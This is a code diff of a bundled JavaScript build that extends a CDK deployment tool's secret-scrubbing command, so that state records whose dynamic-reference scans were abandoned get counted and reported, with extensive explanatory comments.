if (totalStacksScrubbed > 0) logger.info(`\nPlan: ${totalStacksScrubbed} stack(s) hold plaintext secrets and would be scrubbed (--dry-run, no state written).${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret in Secrets Manager.`);
|
|
67184
|
-
else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
67281
|
+
if (totalStacksScrubbed > 0) logger.info(`\nPlan: ${totalStacksScrubbed} stack(s) hold plaintext secrets and would be scrubbed (--dry-run, no state written).${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret in Secrets Manager.`);
|
|
67282
|
+
else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
67185
67283
|
if (failures.length > 0) throw scrubStacksFailedError(failures);
|
|
67186
67284
|
if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
|
|
67187
67285
|
if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
|
|
67188
67286
|
if (options.fail) throw new ScrubNeededError();
|
|
67189
67287
|
return;
|
|
67190
67288
|
}
|
|
67191
|
-
if (totalStacksScrubbed > 0) logger.info(`\nDone: scrubbed ${totalStacksScrubbed} stack(s). The CURRENT state.json no longer holds the plaintext. Where the state bucket is VERSIONED — which cdkd bootstrap enables — the pre-scrub body survives as a noncurrent version, stays readable with GetObject and a VersionId, and scrub does not purge it. So a value that was ever persisted must be treated as compromised — ROTATE it in Secrets Manager (scrub matches the current value, so scrub BEFORE rotating); rotation is what makes any surviving version harmless.${keyNote}${unverifiableNote}${indexNote}${failureNote}`);
|
|
67192
|
-
else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
67289
|
+
if (totalStacksScrubbed > 0) logger.info(`\nDone: scrubbed ${totalStacksScrubbed} stack(s). The CURRENT state.json no longer holds the plaintext. Where the state bucket is VERSIONED — which cdkd bootstrap enables — the pre-scrub body survives as a noncurrent version, stays readable with GetObject and a VersionId, and scrub does not purge it. So a value that was ever persisted must be treated as compromised — ROTATE it in Secrets Manager (scrub matches the current value, so scrub BEFORE rotating); rotation is what makes any surviving version harmless.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote}`);
|
|
67290
|
+
else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
67193
67291
|
if (failures.length > 0) throw scrubStacksFailedError(failures);
|
|
67194
67292
|
if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
|
|
67195
67293
|
if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
|
|
67196
|
-
if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0)) throw new ScrubNeededError();
|
|
67294
|
+
if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0 || totalStacksWithUnverifiableLeaves > 0)) throw new ScrubNeededError();
|
|
67197
67295
|
}
|
|
67198
67296
|
/**
|
|
67199
67297
|
* Every secret plaintext this run recorded, from ANY position in the template
|
|
@@ -68477,6 +68575,205 @@ function isNamelessDynamicReferenceFailure(err) {
|
|
|
68477
68575
|
return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
|
|
68478
68576
|
}
|
|
68479
68577
|
/**
|
|
68578
|
+
* The per-record line each counting site prints. Deliberately ONE SHORT
|
|
68579
|
+
* SENTENCE, and that is a fix rather than a style choice: the first cut emitted
|
|
68580
|
+
* a ~440-character paragraph PER RECORD at default verbosity, and the arm it
|
|
68581
|
+
* fires on is one a single `Default`-less parameter triggers for every resource
|
|
68582
|
+
* in the stack at once. Dozens of identical paragraphs bury the record names,
|
|
68583
|
+
* which are the only part a reader cannot reconstruct.
|
|
68584
|
+
*
|
|
68585
|
+
* The explanation is emitted ONCE PER STACK instead, by
|
|
68586
|
+
* {@link abandonedScanStackNote}.
|
|
68587
|
+
*
|
|
68588
|
+
* The CAUSE is absent on both arms: the sibling log at each site already prints
|
|
68589
|
+
* it through `maskSecretsInText`, and a resolver error echoes what it was
|
|
68590
|
+
* handed — which, after `pinCrossRegionSecrets`, can be a foreign plaintext.
|
|
68591
|
+
*
|
|
68592
|
+
* RESIDUAL on the `subject` the call sites pass. They compose
|
|
68593
|
+
* `maskSecretsInText(... displaySafe(id) ...)` — sanitise, then mask — and
|
|
68594
|
+
* `displaySafe` REPLACES a control character with a space rather than deleting
|
|
68595
|
+
* it, so it cannot JOIN a split needle (the go-to-k/cdkd#2874 direction) but it
|
|
68596
|
+
* can BREAK one, and it leaves `U+200B`-`U+200D` / `U+FEFF` untouched. A secret
|
|
68597
|
+
* would have to sit inside a template logical id or Outputs key to be reachable,
|
|
68598
|
+
* which is why `secretSafeKeyDisplay` is not used here — that one is for RESOLVED
|
|
68599
|
+
* state-bag keys. Recorded rather than closed: go-to-k/cdkd#3178 security review.
|
|
68600
|
+
*/
|
|
68601
|
+
function abandonedScanWarning(subject, verdict) {
|
|
68602
|
+
return verdict === "count" ? `The {{resolve:...}} scan of ${subject} was ABANDONED — this record is NOT certified clean.` : `The {{resolve:...}} scan of ${subject} was cut short by a TEMPLATE problem — this record is NOT certified clean.`;
|
|
68603
|
+
}
|
|
68604
|
+
/**
|
|
68605
|
+
* The one-per-stack explanation behind {@link abandonedScanWarning}'s lines.
|
|
68606
|
+
*
|
|
68607
|
+
* Two arms, because they need opposite things said. The `count` arm is a
|
|
68608
|
+
* FINDING and gates; the reader needs the cause, which is verbose-only. The
|
|
68609
|
+
* `warn` arm does NOT gate, and a reader seeing "NOT certified clean" beside a
|
|
68610
|
+
* green exit has no way to tell a passing run from a broken one unless it says
|
|
68611
|
+
* so.
|
|
68612
|
+
*
|
|
68613
|
+
* The `warn` arm's remedy is deliberately two-sided. The dominant population is
|
|
68614
|
+
* a parameter with no `Default` — legal CloudFormation, no defect to fix — so
|
|
68615
|
+
* telling the reader only to "fix the template reference" describes a repair
|
|
68616
|
+
* that does not exist for them. It names what they CAN do and then says plainly
|
|
68617
|
+
* that scrub may simply not be able to certify the record.
|
|
68618
|
+
*/
|
|
68619
|
+
function abandonedScanStackNote(verdict, records) {
|
|
68620
|
+
const subject = `${records} record(s) above`;
|
|
68621
|
+
return verdict === "count" ? `${subject}: the resolver stops at the first {{resolve:...}} token it cannot fetch, so any secret after it in the same value recorded no needle and could not be rewritten. Re-run with --verbose for the cause of each.` : `${subject}: the scan stopped on something cdkd scrub cannot resolve with template defaults alone — an unresolvable Ref or Fn::GetAtt, a parameter with no Default, or a reference whose own argument still holds an unsubstituted \${...}. These do NOT fail --fail, because scrub takes no --parameters and a gate failure here could not be cleared. Give the parameter a Default, or resolve the reference, to let scrub certify these records; otherwise accept that it cannot.`;
|
|
68622
|
+
}
|
|
68623
|
+
/**
|
|
68624
|
+
* The verdict a counting site acts on: `count` (a finding — warn AND raise the
|
|
68625
|
+
* exit code), `warn` (say it, but do not gate) or `silent`.
|
|
68626
|
+
*
|
|
68627
|
+
* The middle arm exists because the EXCLUSION has a cost in
|
|
68628
|
+
* go-to-k/cdkd#3160's OWN harm direction, and two round-4 reviewers found it
|
|
68629
|
+
* independently. `resolver.resolve` walks the whole properties bag and ONE
|
|
68630
|
+
* throw aborts the rest of it — so a bag holding `{A: {Ref: NoSuchThing},
|
|
68631
|
+
* B: '{{resolve:secretsmanager:prod/db:...}}'}` has `B` abandoned by a failure
|
|
68632
|
+
* that is nothing to do with `B`. Excluding it means `B` records no needle, its
|
|
68633
|
+
* legacy plaintext is never rewritten, and the stack can still print
|
|
68634
|
+
* `No plaintext secrets found` at exit 0. Reachable accidentally (one
|
|
68635
|
+
* `Default`-less parameter empties the bag, so every `{Ref: <param>}` throws)
|
|
68636
|
+
* and, on a repo whose CI runs `--dry-run --fail`, defeatable on purpose by
|
|
68637
|
+
* adding one dangling `Ref` ahead of the secret. That loss is REAL and is not
|
|
68638
|
+
* repaired by making it visible — go-to-k/cdkd#3196 tracks scoping the resolve
|
|
68639
|
+
* per property so the sibling reference is still scanned.
|
|
68640
|
+
*
|
|
68641
|
+
* Counting it is not the answer — that is the round-2 blocker, an unclearable
|
|
68642
|
+
* red gate on a healthy stack. What the two failure modes do NOT share is
|
|
68643
|
+
* VISIBILITY: an operator can act on a warning naming the record, and a warning
|
|
68644
|
+
* gates nothing. So the excluded arm still speaks, and only the exit code is
|
|
68645
|
+
* withheld.
|
|
68646
|
+
*
|
|
68647
|
+
* **The ORDER of the three tests is load-bearing, and getting it wrong is how
|
|
68648
|
+
* round 5 nearly shipped a silent regression.** An earlier cut asked
|
|
68649
|
+
* `carriesFetchableDynamicReference` FIRST and returned `silent` on a miss,
|
|
68650
|
+
* which made a gate-downgrade test into a universal silencer. Because
|
|
68651
|
+
* `DYNAMIC_REFERENCE_INNER_CHAR` is `[^}]`, a token with a placeholder
|
|
68652
|
+
* ANYWHERE in it fails that test — including the dominant CDK spelling, where
|
|
68653
|
+
* the reference is assembled by an `Fn::Sub` over parameters that DO have
|
|
68654
|
+
* defaults:
|
|
68655
|
+
*
|
|
68656
|
+
* ```json
|
|
68657
|
+
* {"A": {"Fn::Sub": "{{resolve:ssm-secure:/deleted/${Env}/p}}"},
|
|
68658
|
+
* "B": {"Fn::Sub": "{{resolve:secretsmanager:${Db}:SecretString:password}}"}}
|
|
68659
|
+
* ```
|
|
68660
|
+
*
|
|
68661
|
+
* Those assemble fine, `A` raises a RAW `ParameterNotFound`, `B` is abandoned
|
|
68662
|
+
* and records no needle — and the earlier order printed nothing at all. That is
|
|
68663
|
+
* go-to-k/cdkd#3160's own headline repro, silenced by the fix for a different
|
|
68664
|
+
* false positive.
|
|
68665
|
+
*
|
|
68666
|
+
* So the tests are separated by what each one is EVIDENCE of:
|
|
68667
|
+
*
|
|
68668
|
+
* - `carriesDynamicReference` — did this bag hold a reference at all? If not,
|
|
68669
|
+
* nothing was lost and the pre-existing `logger.debug` is the right level.
|
|
68670
|
+
* This, and only this, decides SILENCE.
|
|
68671
|
+
* - `isTemplateShapeResolutionFailure` / `carriesFetchableDynamicReference` —
|
|
68672
|
+
* is the abandonment one an operator could act on? If not, it still gets said;
|
|
68673
|
+
* it just does not gate. These decide the EXIT CODE, never the visibility.
|
|
68674
|
+
*/
|
|
68675
|
+
function abandonedScanVerdict(source, err) {
|
|
68676
|
+
if (!carriesDynamicReference(source)) return "silent";
|
|
68677
|
+
if (isTemplateShapeResolutionFailure(err) || !carriesFetchableDynamicReference(source)) return "warn";
|
|
68678
|
+
return "count";
|
|
68679
|
+
}
|
|
68680
|
+
/**
|
|
68681
|
+
* `source` carries a `{{resolve:...}}` token cdkd could actually have FETCHED —
|
|
68682
|
+
* i.e. one whose argument holds no surviving `${...}` placeholder.
|
|
68683
|
+
*
|
|
68684
|
+
* `carriesDynamicReference` alone is too generous here, and the gap is not
|
|
68685
|
+
* theoretical: scrub resolves with `bestEffort`, under which
|
|
68686
|
+
* `rethrowStructuralSubFailure` returns EARLY, so an `Fn::Sub` over an unbound
|
|
68687
|
+
* placeholder does not throw — it warn-and-KEEPS the literal `${Field}`. The
|
|
68688
|
+
* assembled token is then a request for a JSON key literally named `${Field}`,
|
|
68689
|
+
* which fails as `Dynamic reference: key '${Field}' not found in secret '<id>'`.
|
|
68690
|
+
* That is not a fetch that failed; it is a token that was never fetchable,
|
|
68691
|
+
* because scrub has only template DEFAULTS and accepts no `--parameters`. It is
|
|
68692
|
+
* ALSO not excludable by message, since `key ... not found` is a class
|
|
68693
|
+
* go-to-k/cdkd#3160 asks to COUNT when the key was real. So the discriminator
|
|
68694
|
+
* has to be the TOKEN, not the error.
|
|
68695
|
+
*
|
|
68696
|
+
* `some`, not `every`: a bag holding one placeholder-bearing token and one
|
|
68697
|
+
* fully substituted token still counts, because the second one genuinely was
|
|
68698
|
+
* fetchable and its scan genuinely stopped.
|
|
68699
|
+
*
|
|
68700
|
+
* WHAT THIS DOES AND DOES NOT BUY, since round 5 shipped a cut that confused
|
|
68701
|
+
* the two. A `false` here downgrades the GATE only — the record is still named
|
|
68702
|
+
* at default verbosity by the `warn` arm. It must never decide SILENCE: the
|
|
68703
|
+
* inner class is `[^}]`, so a placeholder ANYWHERE in a token fails this test,
|
|
68704
|
+
* and the reference assembled by an `Fn::Sub` over DEFAULTED parameters is the
|
|
68705
|
+
* dominant CDK spelling rather than an edge case.
|
|
68706
|
+
*
|
|
68707
|
+
* STATED RESIDUALS, both UNDER-counts against the gate, neither a silence:
|
|
68708
|
+
*
|
|
68709
|
+
* - A two-argument `Fn::Sub` whose placeholder IS bound
|
|
68710
|
+
* (`{'Fn::Sub': ['{{resolve:ssm:${N}}}', {N: 'x'}]}`) substitutes fine and
|
|
68711
|
+
* yields a fetchable token, but the raw bag still spells `${`, so a real
|
|
68712
|
+
* fetch failure there warns instead of gating.
|
|
68713
|
+
* - The same for a single-argument `Fn::Sub` over a defaulted parameter, and
|
|
68714
|
+
* for a placeholder mid-token, which yields no token at all.
|
|
68715
|
+
*
|
|
68716
|
+
* And one OVER-count, recorded for symmetry: this predicate is BAG-scoped while
|
|
68717
|
+
* the failure is TOKEN-scoped, so a bag holding a placeholder-bearing token
|
|
68718
|
+
* BESIDE a genuinely fetchable one returns `true`, and a `key '${Field}' not
|
|
68719
|
+
* found` raised for the first is gated as if it came from the second. Safety
|
|
68720
|
+
* is in the right direction (a gate that fires, not a plaintext under `clean`),
|
|
68721
|
+
* and same-bag co-location bounds it.
|
|
68722
|
+
*
|
|
68723
|
+
* go-to-k/cdkd#3181 is the fix that removes the need for any of these proxies.
|
|
68724
|
+
*/
|
|
68725
|
+
function carriesFetchableDynamicReference(source) {
|
|
68726
|
+
if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
|
|
68727
|
+
if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
|
|
68728
|
+
if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
|
|
68729
|
+
return false;
|
|
68730
|
+
}
|
|
68731
|
+
/**
|
|
68732
|
+
* `err` is cdkd's OWN refusal to resolve a template SHAPE — a `Ref`, an
|
|
68733
|
+
* `Fn::GetAtt`, a parameter binding — rather than a failure to fetch a
|
|
68734
|
+
* `{{resolve:...}}` reference.
|
|
68735
|
+
*
|
|
68736
|
+
* Matched on cdkd-authored prose, which is sound here for the reason the
|
|
68737
|
+
* inverse is not: every string below is built by `intrinsic-function-resolver.ts`
|
|
68738
|
+
* itself, so it changes only when this repo changes it, and the fence in
|
|
68739
|
+
* `tests/unit/cli/scrub-abandoned-scan-origin.test.ts` reds when a throw site
|
|
68740
|
+
* there stops matching. An AWS-authored message could never carry that
|
|
68741
|
+
* guarantee.
|
|
68742
|
+
*/
|
|
68743
|
+
function isTemplateShapeResolutionFailure(err) {
|
|
68744
|
+
if (!(err instanceof Error)) return false;
|
|
68745
|
+
return TEMPLATE_SHAPE_FAILURE_PATTERNS.some((pattern) => pattern.test(err.message));
|
|
68746
|
+
}
|
|
68747
|
+
/**
|
|
68748
|
+
* The cdkd-authored messages {@link isTemplateShapeResolutionFailure} excludes,
|
|
68749
|
+
* ANCHORED. A substring test cannot be used here and the reason is concrete:
|
|
68750
|
+
* `'Parameter '` alone also matches the SDK's own `Parameter /deleted not
|
|
68751
|
+
* found.` — `ParameterNotFound`, this issue's HEADLINE repro — so the loose
|
|
68752
|
+
* spelling would have excluded the very case the positional half exists to
|
|
68753
|
+
* catch. Each pattern must stay tight enough that no AWS-authored message can
|
|
68754
|
+
* satisfy it.
|
|
68755
|
+
*
|
|
68756
|
+
* Deliberately just these THREE, not every shape failure the resolver can
|
|
68757
|
+
* raise. They are the ones that fire EN MASSE on a healthy stack:
|
|
68758
|
+
* `resolveParameters` is caught wholesale by `scrubStack`, so one
|
|
68759
|
+
* `Default`-less parameter empties the whole bag and every `{Ref: <param>}`
|
|
68760
|
+
* throws; and `resolveGetAtt` refuses on the same condition as `resolveRef`,
|
|
68761
|
+
* which a branch adding a not-yet-deployed resource hits for every
|
|
68762
|
+
* `Fn::GetAtt` to it. A rarer shape failure (an `Fn::Select` over a
|
|
68763
|
+
* non-array, say) is a genuine template defect, and counting a leaf whose
|
|
68764
|
+
* scan it abandoned is not wrong — the scan really did stop. Over-counting
|
|
68765
|
+
* THERE costs a warn on a broken template; over-counting on the three below
|
|
68766
|
+
* would cost a red CI gate on a working one.
|
|
68767
|
+
*
|
|
68768
|
+
* Per-pattern throw sites, and the fence that keeps them true, are in
|
|
68769
|
+
* `tests/unit/cli/scrub-abandoned-scan-origin.test.ts`.
|
|
68770
|
+
*/
|
|
68771
|
+
const TEMPLATE_SHAPE_FAILURE_PATTERNS = [
|
|
68772
|
+
/^Ref \S+ not found$/,
|
|
68773
|
+
/^Resource \S+ not found for Fn::GetAtt$/,
|
|
68774
|
+
/^Parameter \S+ is required but no value was provided/
|
|
68775
|
+
];
|
|
68776
|
+
/**
|
|
68480
68777
|
* A secrets map with its OWN identity whose entries ARE `target`'s (issue
|
|
68481
68778
|
* #2531): every read and write goes to `target`; nothing is stored here.
|
|
68482
68779
|
*
|
|
@@ -68907,6 +69204,33 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68907
69204
|
*/
|
|
68908
69205
|
const orphanSecrets = /* @__PURE__ */ new Map();
|
|
68909
69206
|
const prePassFindings = { unverifiable: [] };
|
|
69207
|
+
/**
|
|
69208
|
+
* Leaves whose dynamic-reference scan was ABANDONED mid-token (issue
|
|
69209
|
+
* go-to-k/cdkd#3160). A counted finding, not a refusal — see
|
|
69210
|
+
* `abandonedScanVerdict` for why these cannot refuse.
|
|
69211
|
+
*/
|
|
69212
|
+
let unverifiableLeaves = 0;
|
|
69213
|
+
let ungateableAbandonedScans = 0;
|
|
69214
|
+
/**
|
|
69215
|
+
* ONE note per stack per arm. The per-record lines are deliberately short
|
|
69216
|
+
* (see `abandonedScanWarning`), so this is where the explanation lives, and
|
|
69217
|
+
* emitting it after the loops rather than at the first occurrence is what
|
|
69218
|
+
* lets it say HOW MANY records it is explaining.
|
|
69219
|
+
*
|
|
69220
|
+
* A CLOSURE called at BOTH returns, not a block at the late one. The early
|
|
69221
|
+
* `totalSecrets === 0` return is the DOMINANT path for an abandoned scan --
|
|
69222
|
+
* an abandoned scan records no needle, which is the whole defect -- so a
|
|
69223
|
+
* single late emission left the note unreachable for exactly the case it
|
|
69224
|
+
* exists to explain. `emitted` because the two call sites are exclusive
|
|
69225
|
+
* today and a third would not be.
|
|
69226
|
+
*/
|
|
69227
|
+
let notesEmitted = false;
|
|
69228
|
+
const emitAbandonedScanNotes = () => {
|
|
69229
|
+
if (notesEmitted) return;
|
|
69230
|
+
notesEmitted = true;
|
|
69231
|
+
if (unverifiableLeaves > 0) logger.warn(abandonedScanStackNote("count", unverifiableLeaves));
|
|
69232
|
+
if (ungateableAbandonedScans > 0) logger.warn(abandonedScanStackNote("warn", ungateableAbandonedScans));
|
|
69233
|
+
};
|
|
68910
69234
|
try {
|
|
68911
69235
|
const loaded = await stateBackend.getState(stack.stackName, region);
|
|
68912
69236
|
if (!loaded) {
|
|
@@ -68916,6 +69240,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68916
69240
|
secretsFound: 0,
|
|
68917
69241
|
secretBearingKeys: 0,
|
|
68918
69242
|
unverifiableReads: 0,
|
|
69243
|
+
unverifiableLeaves: 0,
|
|
68919
69244
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
68920
69245
|
};
|
|
68921
69246
|
}
|
|
@@ -68989,6 +69314,12 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
68989
69314
|
await resolver.resolve(resolveInput, resourceContext);
|
|
68990
69315
|
} catch (err) {
|
|
68991
69316
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69317
|
+
const leafVerdict = abandonedScanVerdict(resolveInput, err);
|
|
69318
|
+
if (leafVerdict !== "silent") {
|
|
69319
|
+
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69320
|
+
else ungateableAbandonedScans++;
|
|
69321
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(`resource '${displaySafe(logicalId)}'`, leafVerdict), recordedSecretValues));
|
|
69322
|
+
}
|
|
68992
69323
|
logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
|
|
68993
69324
|
}
|
|
68994
69325
|
perResourceTemplateProps.set(logicalId, templateResource.Properties);
|
|
@@ -69011,6 +69342,12 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69011
69342
|
await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
|
|
69012
69343
|
} catch (err) {
|
|
69013
69344
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69345
|
+
const leafVerdict = abandonedScanVerdict(resolveInput, err);
|
|
69346
|
+
if (leafVerdict !== "silent") {
|
|
69347
|
+
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69348
|
+
else ungateableAbandonedScans++;
|
|
69349
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}'`, leafVerdict), recordedSecretValues));
|
|
69350
|
+
}
|
|
69014
69351
|
logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
|
|
69015
69352
|
}
|
|
69016
69353
|
}
|
|
@@ -69034,6 +69371,12 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69034
69371
|
exportName = await resolver.resolve(nameSource, nameContext);
|
|
69035
69372
|
} catch (err) {
|
|
69036
69373
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69374
|
+
const leafVerdict = abandonedScanVerdict(nameSource, err);
|
|
69375
|
+
if (leafVerdict !== "silent") {
|
|
69376
|
+
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69377
|
+
else ungateableAbandonedScans++;
|
|
69378
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(`the Export.Name of output '${displaySafe(name)}'`, leafVerdict), outputSecrets));
|
|
69379
|
+
}
|
|
69037
69380
|
nameFailed = true;
|
|
69038
69381
|
nameError = err;
|
|
69039
69382
|
}
|
|
@@ -69072,6 +69415,12 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69072
69415
|
await resolver.resolve(valueSource, valueContext);
|
|
69073
69416
|
} catch (err) {
|
|
69074
69417
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69418
|
+
const leafVerdict = abandonedScanVerdict(valueSource, err);
|
|
69419
|
+
if (leafVerdict !== "silent") {
|
|
69420
|
+
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69421
|
+
else ungateableAbandonedScans++;
|
|
69422
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(`output '${displaySafe(name)}'`, leafVerdict), outputSecrets));
|
|
69423
|
+
}
|
|
69075
69424
|
logger.debug(`Resolution of output ${name} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), outputSecrets)}`);
|
|
69076
69425
|
}
|
|
69077
69426
|
}
|
|
@@ -69085,15 +69434,19 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69085
69434
|
logger.warn(secretBearingStateKeyWarning(stack.stackName, display));
|
|
69086
69435
|
}
|
|
69087
69436
|
const totalSecrets = outputSecrets.size + [...perResourceSecrets.values()].reduce((n, m) => n + m.size, 0) + [...orphanSecrets.values()].reduce((n, m) => n + m.size, 0);
|
|
69088
|
-
if (totalSecrets === 0)
|
|
69089
|
-
|
|
69090
|
-
|
|
69091
|
-
|
|
69092
|
-
|
|
69093
|
-
|
|
69094
|
-
|
|
69095
|
-
|
|
69096
|
-
|
|
69437
|
+
if (totalSecrets === 0) {
|
|
69438
|
+
emitAbandonedScanNotes();
|
|
69439
|
+
return {
|
|
69440
|
+
recordsChanged: 0,
|
|
69441
|
+
secretsFound: 0,
|
|
69442
|
+
secretBearingKeys: secretBearingKeys.length,
|
|
69443
|
+
unverifiableReads: prePassFindings.unverifiable.length,
|
|
69444
|
+
unverifiableLeaves,
|
|
69445
|
+
...malformedResources ? { malformedResources } : {},
|
|
69446
|
+
outputs: state.outputs,
|
|
69447
|
+
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
69448
|
+
};
|
|
69449
|
+
}
|
|
69097
69450
|
let recordsChanged = 0;
|
|
69098
69451
|
const newResources = {};
|
|
69099
69452
|
for (const [logicalId, record] of Object.entries(state.resources ?? {})) {
|
|
@@ -69122,6 +69475,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69122
69475
|
};
|
|
69123
69476
|
});
|
|
69124
69477
|
const newOutputs = redactUnaccountedOutputs(outputSecrets.size > 0 ? redactSecretsForState(state.outputs, outputSecrets, outputsSourceUntrusted ? void 0 : outputsTemplateSource, TEMPLATE_SOURCED_RULES) : state.outputs, state.outputs, accountedOutputKeys, allRecordedSecrets(outputSecrets, perResourceSecrets, orphanSecrets));
|
|
69478
|
+
emitAbandonedScanNotes();
|
|
69125
69479
|
if (JSON.stringify(newOutputs) !== JSON.stringify(state.outputs)) recordsChanged++;
|
|
69126
69480
|
if (recordsChanged > 0 && !opts.dryRun) {
|
|
69127
69481
|
const { skippedOutputs: _droppedByScrub, ...carriedState } = state;
|
|
@@ -69139,6 +69493,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69139
69493
|
secretsFound: totalSecrets,
|
|
69140
69494
|
secretBearingKeys: secretBearingKeys.length,
|
|
69141
69495
|
unverifiableReads: prePassFindings.unverifiable.length,
|
|
69496
|
+
unverifiableLeaves,
|
|
69142
69497
|
...malformedResources ? { malformedResources } : {},
|
|
69143
69498
|
outputs: newOutputs,
|
|
69144
69499
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
@@ -93473,4 +93828,4 @@ function buildProgram() {
|
|
|
93473
93828
|
|
|
93474
93829
|
//#endregion
|
|
93475
93830
|
export { buildProgram };
|
|
93476
|
-
//# sourceMappingURL=program-
|
|
93831
|
+
//# sourceMappingURL=program-DUCNL9hK.js.map
|